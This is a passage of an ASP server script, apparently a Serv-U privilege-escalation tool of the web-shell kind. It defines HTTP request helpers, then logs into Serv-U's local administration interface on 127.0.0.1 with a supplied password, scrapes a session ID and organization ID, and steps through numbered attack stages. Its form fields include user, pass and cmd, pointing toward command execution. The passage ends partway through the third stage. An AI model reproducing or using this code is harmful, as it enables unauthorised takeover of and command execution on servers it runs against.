<% 
Function httpopen(neirong,fangshi, *** ,refer,cookie) 
set Http=server.createobject("Microsoft.XMLHTTP") 
Http.open fangshi, *** ,false 
Http.setrequestheader "Referer",refer 
Http.setrequestheader "Content-type","application/x-www-form-urlencoded" 
Http.setrequestheader "Content-length",len(neirong) 
Http.setrequestheader "User-Agent","Serv-U" 
Http.setrequestheader "x-user-agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)" 
If cookie<>"" then 
Http.setrequestheader "Cookie",cookie 
End If 
Http.send neirong 
httpopen=bytes2BSTR(Http.responseBody) 
set Http=nothing 
end Function 
Function getmidstr(L,R,str) 
int_left=instr(str,L) 
int_right=instr(str,R) 
If int_left>0 and int_right>0 Then 
getmidstr=mid(str,int_left+len(L),int_right-int_left-len(L)) 
Else 
getmidstr="执行的字符串中不包含“"&L&"”或“"&R&"”" 
End If 
end Function 
Function bytes2BSTR(vIn) 
strReturn = "" 
For i = 1 To LenB(vIn) 
ThisCharCode = AscB(MidB(vIn,i,1)) 
If ThisCharCode < &H80 Then 
strReturn = strReturn & Chr(ThisCharCode) 
Else 
NextCharCode = AscB(MidB(vIn,i+1,1)) 
strReturn = strReturn & Chr (CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 
i = i + 1 
End If 
Next 
bytes2BSTR = strReturn 
End Function 
%> 
<% 
'----------自定义参数开始----------- 
action=Request("action") 
loginpass=Request.Form("loginpass") 
port=Request("port") 
mydomain=Request.Form("mydomain") 
path=Request.Form("path") 
ftpport = Request.Form("ftpport") 
user=Request.Form("user") 
pass=Request.Form("pass") 
cmd= Request.Form("cmd") 
sessionid=Request("sessionid") 
organizationId=Request("OrganizationId") 
userid=Request("userid") 
domainid=Request("domainid") 
'----------自定义参数结束----------- 
select case action 
case 1 
returns=httpopen("user=&pword="&loginpass&"&language=zh%2CCN%26","POST","http://127.0.0.1:"&port&"/Web%20Client/Login.xml?Command=Login&Sync=1227081437828","http://127.0.0.1:"&port&"/?Session=39893&Language=zh,CN&LocalAdmin=1","") 
sessionid=getmidstr("","",returns) 
if sessionid<>"" then 
Response.Write "login ok!"&"" 
Response.redirect "?action=2&sessionid="&sessionid&"&port="&port 
else 
Response.Write "error!"&"" 
end if 
case 2 
call main2() 
case 3 
returns=httpopen("","POST","http://127.0.0.1:"&port&"/Admin/ServerUsers.htm?Page=1","",sessionid) 
organizationIdTemp=mid(returns,instr(returns,"OrganizationUsers.xml&ID="),len("OrganizationUsers.xml&ID=")+15) 
organizationId=mid(OrganizationIdTemp,instr(OrganizationIdTemp,"=")+1,instr(OrganizationIdTemp,"""")-instr(OrganizationIdTemp,"=")-1) 
if organizationId<>"" then 
Response.write "get organizationId "&OrganizationId&" ok!"&"" 
Response.redirect "?action=4&sessionid="&sessionid&"&port="&port&"&OrganizationId="&OrganizationId